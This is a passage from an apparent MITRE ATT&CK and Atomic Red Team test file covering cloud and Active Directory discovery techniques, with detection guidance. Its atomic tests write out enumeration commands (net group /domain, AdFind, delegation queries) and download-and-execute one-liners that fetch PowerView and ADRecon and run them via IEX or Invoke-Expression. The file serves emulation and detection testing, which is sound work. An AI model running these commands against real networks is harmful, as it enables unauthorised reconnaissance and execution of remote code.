        may be used to obtain a listing of service accounts and users in a project.(Citation:
        Google Cloud - IAM Servie Accounts List API)"
      id: attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-16T12:54:41.133Z'
      created: '2020-02-21T21:08:36.570Z'
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'User Account: User Account Metadata'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.

        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
    atomic_tests: []
  T1069.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1069.003
        url: https://attack.mitre.org/techniques/T1069/003
      - source_name: Microsoft Msolrole
        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
        description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.
      - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
          6, 2019.
        url: https://github.com/True-Demon/raindance
        source_name: GitHub Raindance
      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
        source_name: Microsoft AZ CLI
      - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
          Directory Leaks via Azure. Retrieved October 6, 2019.
        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
        source_name: Black Hills Red Teaming MS AD Azure, 2018
      - source_name: Google Cloud Identity API Documentation
        url: https://cloud.google.com/identity/docs/reference/rest
        description: Google. (n.d.). Retrieved March 16, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Groups
      description: |-
        Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

        With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)

        Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)
      id: attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-30T12:42:46.315Z'
      created: '2020-02-21T21:15:33.222Z'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Group: Group Enumeration'
      - 'Group: Group Metadata'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
    atomic_tests: []
  T1580:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1580
        url: https://attack.mitre.org/techniques/T1580
      - source_name: Amazon Describe Instance
        url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
        description: Amazon. (n.d.). describe-instance-information. Retrieved March
          3, 2020.
      - source_name: Amazon Describe Instances API
        url: https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html
        description: Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.
      - source_name: Google Compute Instances
        url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/list
        description: Google. (n.d.). gcloud compute instances list. Retrieved May
          26, 2020.
      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
        source_name: Microsoft AZ CLI
      - source_name: Expel IO Evil in AWS
        url: https://expel.io/blog/finding-evil-in-aws/
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Infrastructure Discovery
      description: |-
        An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

        Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI)

        An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.
      id: attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-08T10:33:02.163Z'
      created: '2020-08-20T17:51:25.671Z'
      x_mitre_contributors:
      - Praetorian
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Establish centralized logging for the activity of cloud infrastructure
        components. Monitor logs for actions that could be taken to gather information
        about cloud infrastructure, including the use of discovery API calls by new
        or unexpected users. To reduce false positives, valid change management procedures
        could introduce a known identifier that is logged with the change (e.g., tag
        or header) if supported by the cloud provider, to help distinguish valid,
        expected actions from malicious ones.
      x_mitre_data_sources:
      - 'Instance: Instance Metadata'
      - 'Instance: Instance Enumeration'
      - 'Snapshot: Snapshot Metadata'
      - 'Snapshot: Snapshot Enumeration'
      - 'Cloud Storage: Cloud Storage Metadata'
      - 'Cloud Storage: Cloud Storage Enumeration'
      - 'Volume: Volume Metadata'
      - 'Volume: Volume Enumeration'
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1538:
    technique:
      external_references:
      - external_id: T1538
        source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1538
      - source_name: Google Command Center Dashboard
        url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
        description: 'Google. (2019, October 3). Quickstart: Using the dashboard.
          Retrieved October 8, 2019.'
      - source_name: AWS Console Sign-in Events
        url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html
        description: Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October
          23, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Service Dashboard
      description: |-
        An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

        Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
      id: attack-pattern--e49920b0-6c54-40c1-9571-73723653205f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-16T12:56:36.098Z'
      created: '2019-08-30T18:11:24.582Z'
      x_mitre_is_subtechnique: false
      x_mitre_detection: 'Monitor account activity logs to see actions performed and
        activity associated with the cloud service management console. Some cloud
        providers, such as AWS, provide distinct log events for login attempts to
        the management console.(Citation: AWS Console Sign-in Events)'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Praetorian
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - IaaS
      - Google Workspace
    atomic_tests: []
  T1526:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1526
        url: https://attack.mitre.org/techniques/T1526
      - source_name: Azure - Resource Manager API
        url: https://docs.microsoft.com/en-us/rest/api/resources/
        description: Microsoft. (2019, May 20). Azure Resource Manager. Retrieved
          June 17, 2020.
      - source_name: Azure AD Graph API
        url: https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview
        description: Microsoft. (2016, March 26). Operations overview | Graph API
          concepts. Retrieved June 18, 2020.
      - source_name: Azure - Stormspotter
        url: https://github.com/Azure/Stormspotter
        description: Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June
          17, 2020.
      - source_name: GitHub Pacu
        url: https://github.com/RhinoSecurityLabs/pacu
        description: Rhino Security Labs. (2019, August 22). Pacu. Retrieved October
          17, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Service Discovery
      description: "An adversary may attempt to enumerate the cloud services running
        on a system after gaining access. These methods can differ from platform-as-a-service
        (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS).
        Many services exist throughout the various cloud providers and can include
        Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions,
        Azure AD, etc. \n\nAdversaries may attempt to discover information about the
        services enabled throughout the environment. Azure tools and APIs, such as
        the Azure AD Graph API and Azure Resource Manager API, can enumerate resources
        and services, including applications, management groups, resources and policy
        definitions, and their relationships that are accessible by an identity.(Citation:
        Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter
        is an open source tool for enumerating and constructing a graph for Azure
        resources and services, and Pacu is an open source AWS exploitation framework
        that supports several methods for discovering cloud services.(Citation: Azure
        - Stormspotter)(Citation: GitHub Pacu)"
      id: attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-16T12:57:03.837Z'
      created: '2019-08-30T13:01:10.120Z'
      x_mitre_is_subtechnique: false
      x_mitre_detection: |-
        Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Metadata'
      - 'Cloud Service: Cloud Service Enumeration'
      x_mitre_version: '1.2'
      x_mitre_permissions_required:
      - User
      x_mitre_contributors:
      - Suzy Schapperle - Microsoft Azure Red Team
      - Praetorian
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
    atomic_tests: []
  T1613:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1613
        url: https://attack.mitre.org/techniques/T1613
      - source_name: Docker API
        url: https://docs.docker.com/engine/api/v1.41/
        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
          March 31, 2021.
      - source_name: Kubernetes API
        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
          March 29, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Container and Resource Discovery
      description: "Adversaries may attempt to discover containers and other resources
        that are available within a containers environment. Other resources may include
        images, deployments, pods, nodes, and other information such as the status
        of a cluster.\n\nThese resources can be viewed within web applications such
        as the Kubernetes dashboard or can be queried via the Docker and Kubernetes
        APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may
        leak information about the environment, such as the environment’s configuration,
        which services are available, and what cloud provider the victim may be utilizing.
        The discovery of these resources may inform an adversary’s next steps in the
        environment, such as how to perform lateral movement and which methods to
        utilize for execution. "
      id: attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-12T18:22:05.737Z'
      created: '2021-03-31T14:26:00.848Z'
      x_mitre_contributors:
      - Vishwas Manral, McAfee
      - Center for Threat-Informed Defense (CTID)
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Establish centralized logging for the activity of container
        and Kubernetes cluster components. This can be done by deploying logging agents
        on Kubernetes nodes and retrieving logs from sidecar proxies for application
        pods to detect malicious activity at the cluster level.\n\nMonitor logs for
        actions that could be taken to gather information about container infrastructure,
        including the use of discovery API calls by new or unexpected users. Monitor
        account activity logs to see actions performed and activity associated with
        the Kubernetes dashboard and other web applications. "
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Cluster: Cluster Metadata'
      - 'Container: Container Enumeration'
      - 'Container: Container Metadata'
      - 'Pod: Pod Enumeration'
      - 'Pod: Pod Metadata'
      - 'Application Log: Application Log Content'
    atomic_tests: []
  T1087.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1087.002
        url: https://attack.mitre.org/techniques/T1087/002
      - external_id: CAPEC-575
        source_name: capec
        url: https://capec.mitre.org/data/definitions/575.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Account
      description: |-
        Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.

        Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.
      id: attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-26T13:42:34.402Z'
      created: '2020-02-21T21:08:26.480Z'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1087.002
    atomic_tests:
    - name: Enumerate all accounts (Domain)
      auto_generated_guid: 6fbc9e68-5ad7-444a-bd11-8bf3136c477e
      description: |
        Enumerate all accounts
        Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
      supported_platforms:
      - windows
      executor:
        command: |
          net user /domain
          net group /domain
        name: command_prompt
    - name: Enumerate all accounts via PowerShell (Domain)
      auto_generated_guid: 8b8a6449-be98-4f42-afd2-dedddc7453b2
      description: 'Enumerate all accounts via PowerShell. Upon execution, lots of
        user account and group information will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          net user /domain
          get-localgroupmember -group Users
          get-aduser -filter *
        name: powershell
    - name: Enumerate logged on users via CMD (Domain)
      auto_generated_guid: 161dcd85-d014-4f5e-900c-d3eaae82a0f7
      description: 'Enumerate logged on users. Upon exeuction, logged on users will
        be displayed.

'
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Name of remote system to query
          type: String
          default: "$env:COMPUTERNAME"
      executor:
        command: 'query user /SERVER:#{computer_name}

'
        name: command_prompt
    - name: Automated AD Recon (ADRecon)
      auto_generated_guid: 95018438-454a-468c-a0fa-59c800149b59
      description: |
        ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
        path will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        adrecon_path:
          description: Path of ADRecon.ps1 file
          type: Path
          default: "$env:TEMP\\ADRecon.ps1"
      dependency_executor_name: powershell
      dependencies:
      - description: 'ADRecon must exist on disk at specified location (#{adrecon_path})

'
        prereq_command: 'if (Test-Path #{adrecon_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1"
          -OutFile #{adrecon_path}

'
      executor:
        command: 'Invoke-Expression #{adrecon_path}

'
        cleanup_command: |
          Remove-Item #{adrecon_path} -Force -ErrorAction Ignore | Out-Null
          Get-ChildItem $env:TEMP -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item -Force -Recurse
        name: powershell
    - name: Adfind -Listing password policy
      auto_generated_guid: 736b4f53-f400-4c22-855d-1a6b5a551600
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
        reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -default -s base lockoutduration lockoutthreshold
          lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength
          pwdproperties\n"
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Admins
      auto_generated_guid: b95fd967-4e62-4109-b48d-265edfd28c3a
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
        reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -sc admincountdmp\n"
        name: command_prompt
    - name: Adfind - Enumerate Active Directory User Objects
      auto_generated_guid: e1ec8d20-509a-4b9a-b820-06c9b2da8eb7
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -f (objectcategory=person)\n"
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Exchange AD Objects
      auto_generated_guid: 5e2938fb-f919-47b6-8b29-2f6a1f718e99
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -sc exchaddresses\n"
        name: command_prompt
    - name: Enumerate Default Domain Admin Details (Domain)
      auto_generated_guid: c70ab9fd-19e2-4e02-a83c-9cfa8eaa8fef
      description: 'This test will enumerate the details of the built-in domain admin
        account

'
      supported_platforms:
      - windows
      executor:
        command: 'net user administrator /domain

'
        name: command_prompt
    - name: Enumerate Active Directory for Unconstrained Delegation
      auto_generated_guid: 46f8dbe9-22a5-4770-8513-66119c5be63b
      description: |
        Attackers may attempt to query for computer objects with the UserAccountControl property
        'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
        More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce
        Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Domain FQDN
          type: String
          default: "$env:UserDnsDomain"
        uac_prop:
          description: UAC Property to search
          type: String
          default: 524288
      dependencies:
      - description: 'PowerShell ActiveDirectory Module must be installed

'
        prereq_command: |
          Try {
              Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
              exit 0
          }
          Catch {
              exit 1
          }
        get_prereq_command: |
          if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
            Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
          } else {
            Install-WindowsFeature RSAT-AD-PowerShell
          }
      executor:
        name: powershell
        elevation_required: false
        command: 'Get-ADObject -LDAPFilter ''(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})''
          -Server #{domain}

'
  T1069.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1069.002
        url: https://attack.mitre.org/techniques/T1069/002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Groups
      description: |-
        Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

        Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.
      id: attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-12T19:07:53.043Z'
      created: '2020-02-21T21:15:06.561Z'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1069.002
    atomic_tests:
    - name: Basic Permission Groups Discovery Windows (Domain)
      auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d
      description: |
        Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          net localgroup
          net group /domain
          net group "domain admins" /domain
          net group "enterprise admins" /domain
        name: command_prompt
    - name: Permission Groups Discovery PowerShell (Domain)
      auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7
      description: |
        Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: User to identify what groups a user is a member of
          type: String
          default: administrator
      executor:
        command: 'get-ADPrincipalGroupMembership #{user} | select name

'
        name: powershell
    - name: Elevated group enumeration using net group (Domain)
      auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37
      description: |
        Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
        test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          net group /domai "Domain Admins"
          net groups "Account Operators" /doma
          net groups "Exchange Organization Management" /doma
          net group "BUILTIN\Backup Operators" /doma
        name: command_prompt
    - name: Find machines where user has local admin access (PowerView)
      auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
      description: 'Find machines where user has local admin access (PowerView). Upon
        execution, progress and info about each host in the domain being scanned will
        be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
        name: powershell
    - name: Find local admins on all machines in domain (PowerView)
      auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd
      description: 'Enumerates members of the local Administrators groups across all
        machines in the domain. Upon execution, information about each machine will
        be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose
        name: powershell
    - name: Find Local Admins via Group Policy (PowerView)
      auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a
      description: 'takes a computer and determines who has admin rights over it through
        GPO enumeration. Upon execution, information about the machine will be displayed.

'
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: hostname of the computer to analyze
          type: Path
          default: "$env:COMPUTERNAME"
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose"
        name: powershell
    - name: Enumerate Users Not Requiring Pre Auth (ASRepRoast)
      auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b
      description: 'When successful, accounts that do not require kerberos pre-auth
        will be returned

'
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined.

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
